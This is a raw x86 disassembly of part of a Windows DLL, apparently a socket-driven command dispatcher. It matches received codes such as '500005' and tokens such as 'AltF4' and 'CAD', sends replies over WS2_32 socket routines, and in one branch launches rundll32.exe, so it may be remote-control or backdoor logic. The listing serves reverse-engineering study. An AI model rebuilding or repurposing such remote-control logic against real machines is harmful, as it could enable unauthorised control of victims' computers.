mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033a3d
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033aa1
push reloc.WS2_32.dll_connect
push 0
push str.110065
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033a9c
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033ab4
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dea92
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033afb
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033b5f
push reloc.WS2_32.dll_connect
push 0
push str.110073
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033b5a
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033b72
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push str.win7
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033bb9
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033c1d
push reloc.WS2_32.dll_connect
push 0
push str.110074
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033c18
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033c30
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push str.AltF4
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033c77
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033cdb
push reloc.WS2_32.dll_connect
push 0
push str.110068
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033cd6
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033cee
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100deaaf
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033d35
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033d99
push reloc.WS2_32.dll_connect
push 0
push str.110070
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033d94
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033dac
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push str.WinD
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033df3
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033e57
push reloc.WS2_32.dll_connect
push 0
push str.110069
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033e52
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033e6a
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
push str.CAD
push dword [ebp - 0x4c]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10033eb1
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10033ef5
call fcn.1003abfd
mov ebx, 6
call fcn.100039cf
push reloc.WS2_32.dll_getsockname
push 0
push 0x100477e6
push 3
mov ebx, 0
mov eax, 0x100c3a50
call fcn.100b9790
add esp, 0x28
jmp 0x1003407d
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10033f08
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100deac4
push dword [ebp - 0x44]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033f4c
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1003407d
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.555555
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10033fad
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 4]
push eax
mov eax, str.rundll32.exe
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.10003201
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10033fde
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 4]
call fcn.100027cb
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x1003407a
mov ebx, dword [ebp - 4]
call fcn.100020b9
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10034024
push 0x134f
push 0x403116f
push 4
call fcn.100b8c4b
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10034041
push 0x134f
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 1
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10004694
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
push 1
push 0
push 0xa
call fcn.100047a1
pop eax
pop ebx
pop ecx
jmp 0x10033fef
add esp, 0xc
jmp 0x1003a351
push str.400004
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034118
push reloc.WS2_32.dll_connect
push 0
push str.444444
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100340e2
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10034113
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1003a351
push str.500005
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100345dc
push reloc.WS2_32.dll_connect
push 0
push 0x100deadb
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
test eax, eax
je 0x1003415e
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x14]
xor ebx, ebx
test eax, eax
je 0x1003416f
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x10034186
dec eax
test ecx, ecx
je 0x10034186
call fcn.100228c3
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100341a6
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1003422b
call fcn.1003aced
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100341cb
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100341f1
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.500005
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10034216
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10034226
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x100345d7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003423e
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10034279
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1003429f
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x100342c1
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x100342bd
imul eax, dword [ebx]
jmp 0x100342b2
mov ecx, eax
test ecx, ecx
je 0x100342e0
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x100342d9
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x100342c7
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100027cb
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jne 0x100345d7
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10034329
push 0x15c1
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100deae8
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034468
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10034374
push 0x1614
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x10034391
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
push eax
call fcn.1003d9c2
test eax, eax
je 0x1003440d
push reloc.WS2_32.dll_connect
push 0
push 0x100deaf1
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.500005
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100343f8
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10034408
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10034463
push reloc.WS2_32.dll_connect
push 0
push 0x100deafe
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.500005
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10034453
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10034463
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x100345d7
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10034490
push 0x16d9
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100deb0b
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034522
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x100344db
push 0x171a
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x100344f8
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 1
push 1
push dword [ebp - 0x48]
call fcn.1003d9fc
jmp 0x100345d7
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1003454a
push 0x1751
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
push 0x100deb14
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x100345d7
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10034595
push 0x1792
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x100345b2
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ba4f0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 1
push 0
push dword [ebp - 0x48]
call fcn.1003d9fc
jmp 0x1003a351
push str.600006
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034c35
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10034608
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10034643
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10034669
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1003468b
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10034687
imul eax, dword [ebx]
jmp 0x1003467c
mov ecx, eax
test ecx, ecx
je 0x100346aa
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x100346a3
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10034691
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x100346de
push 0x189f
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100d53aa
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1003477c
call fcn.1003dade
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1003471c
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10034742
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.600006
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10034767
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10034777
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10034c30
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x100347a4
push 0x1918
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x50], ebx
push 0x100d53ce
mov ebx, dword [ebp - 0x50]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034938
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x100347f5
push 0x1969
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10034825
push 0x19a1
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebx]
test eax, eax
jne 0x10034842
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.10017471
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10034877
push ebx
call fcn.100b8c45
add esp, 4
push dword [ebp - 0x50]
push 0x100d53a2
mov ebx, dword [ebp - 0x44]
push dword [ebx]
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100348ad
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x100348c3
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100348ef
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x58]
push eax
mov eax, str.600006
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x5c]
push eax
call fcn.100301d1
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10034920
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10034933
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x10034c30
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10034960
push 0x19d8
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x60], ebx
push 0x100d53ca
mov ebx, dword [ebp - 0x60]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034a5c
call fcn.1003aba1
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x100349b6
push 0x1a45
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100deb24
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push str.666666
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x100349f0
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10034a16
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10034a4d
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x10034c30
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10034a84
push 0x1aa4
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100d53c6
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034b84
mov dword [0x100e6a6d], 1
call fcn.1003aba1
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x10034ade
push 0x1b2e
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100deb27
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push str.666666
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10034b18
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10034b3e
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10034b75
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x10034c30
mov ebx, dword [ebp - 0x1c]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x10034bac
push 0x1b8d
push 0x403116f
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100d53c2
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034c30
call fcn.1003aba1
push reloc.WS2_32.dll_connect
push 0
push str.777777
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6a71]
push dword [0x100e6a31]
call fcn.10032224
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10034c26
push ebx
call fcn.100b8c45
add esp, 4
mov dword [0x100e6a6d], 0
jmp 0x1003a351
push str.700007
push dword [ebp - 0x10]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10035105
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10034c6d
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a0
call fcn.100bb760
add esp, 0x1c
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10034ca8
mov eax, 0x100d5289
push eax
push 3
mov ebx, 0x19c
call fcn.100ba350
add esp, 0x28
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ecx
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10034cd7
push ebx
call fcn.100b8c45
add esp, 4
mov ecx, dword [ebp - 0x48]
cmp ecx, reloc.WS2_32.dll_connect
je 0x10034cf9
push 0x1ca6
push 0x403116f
push 5
call fcn.100b8c4b
add esp, 0xc
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10034d10
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x100deb31
push dword [ebp - 0x20]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x10034f92
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10034d40
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x194
call fcn.100ba1f0
add esp, 0x10
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fsub qword [0x100d58ef]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10034d91
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a4
call fcn.100bb790
add esp, 0x1c
mov dword [ebp - 0x58], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x10034dc0
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10034dec
push ebx
call fcn.100b8c45
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x10034e14
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x270
call fcn.100bac90
add esp, 0x28
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10034e40
push ebx
call fcn.100b8c45
